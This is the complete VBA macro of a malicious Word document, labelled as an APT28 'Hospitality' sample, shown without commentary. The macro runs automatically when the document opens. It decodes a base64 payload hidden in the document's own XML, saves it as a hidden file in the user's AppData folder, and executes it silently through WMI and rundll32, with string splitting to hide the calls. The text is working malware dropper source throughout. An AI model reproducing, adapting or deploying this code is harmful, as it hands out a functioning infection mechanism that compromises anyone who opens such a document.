APT28 Hospitality docm VBA

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    Execute
End Sub

Private Function DecodeBase64(base64) As Byte()
    Const decodeTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

    If 0 <> Len(base64) Mod 4 Then
        Exit Function
    End If

    outputLen = (Len(base64) / 4) * 3
    If "=" = Mid(base64, Len(base64), 1) Then
        outputLen = outputLen - 1
    End If
    If "=" = Mid(base64, Len(base64) - 1, 1) Then
        outputLen = outputLen - 1
    End If

    Dim decodedBytes() As Byte
    ReDim decodedBytes(outputLen - 1)
    outputIndex = 0                                                                                                                                                         [43/1854]

    For quartet = 1 To Len(base64) Step 4
        groupBase64Number = 0
        Const base = 64
        realBytesInThisGroup = 3
        For i = 0 To 3
           inputChar = Mid(base64, quartet + i, 1)
           indexInTable = 0

           If "=" = inputChar Then
                realBytesInThisGroup = realBytesInThisGroup - 1
           Else
                indexInTable = InStr(1, decodeTable, inputChar, vbBinaryCompare) - 1
           End If

           If -1 = indexInTable Then
                Exit Function
           End If

           groupBase64Number = (groupBase64Number * base) + indexInTable
        Next

        groupBase64Number = Hex(groupBase64Number)

        'add leading zeroes, lengt of hex = 6:
         groupBase64Number = String(6 - Len(groupBase64Number), "0") & groupBase64Number

        'split hex number into 3 groups, 2 hex characters each:
        decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 1, 2))
        outputIndex = outputIndex + 1
        If realBytesInThisGroup > 1 Then
            decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 3, 2))
            outputIndex = outputIndex + 1
            If realBytesInThisGroup > 2 Then
                decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 5, 2))
                outputIndex = outputIndex + 1
            End If
        End If
    Next

    DecodeBase64 = decodedBytes
End Function

Private Sub Execute()
    Dim Path As String
    Dim FileNum As Long
    Dim xml() As Byte
    Dim bin() As Byte
    Const HIDDEN_WINDOW = 0
    strComputer = "."

    'extract and decode encoded file
    xml = ActiveDocument.WordOpenXML
    Set xmlParser = CreateObject("Msxml2.DOMDocument")
    If Not xmlParser.LoadXML(xml) Then
        Exit Sub
    End If
    Set currNode = xmlParser.DocumentElement
    Set selected = currNode.SelectNodes("//HLinks" & "/vt:" & "vector" & "/vt:" & "variant" & "/vt:" & "lpwstr")
    If 2 > selected.Length Then
        Exit Sub
    End If
    base64 = selected(1).Text
    bin = DecodeBase64(base64)

    'save decoded file
    Path = Environ("APPDATA") + "\" + "user" + ".dat"
    FileNum = FreeFile
    If Dir(Path, vbHidden) <> "" Then
        Exit Sub
    End If
    Open Path For Binary Access Write As #FileNum
    Put #FileNum, 1, bin
    Close #FileNum
    SetAttr Path, vbHidden

    'execute saved file with WMI
    Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
    Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
    objProcess.Create "run" + "dll" + "32" + ".exe " + Path + ", " + "#1", Null, objConfig, intProcessID

End Sub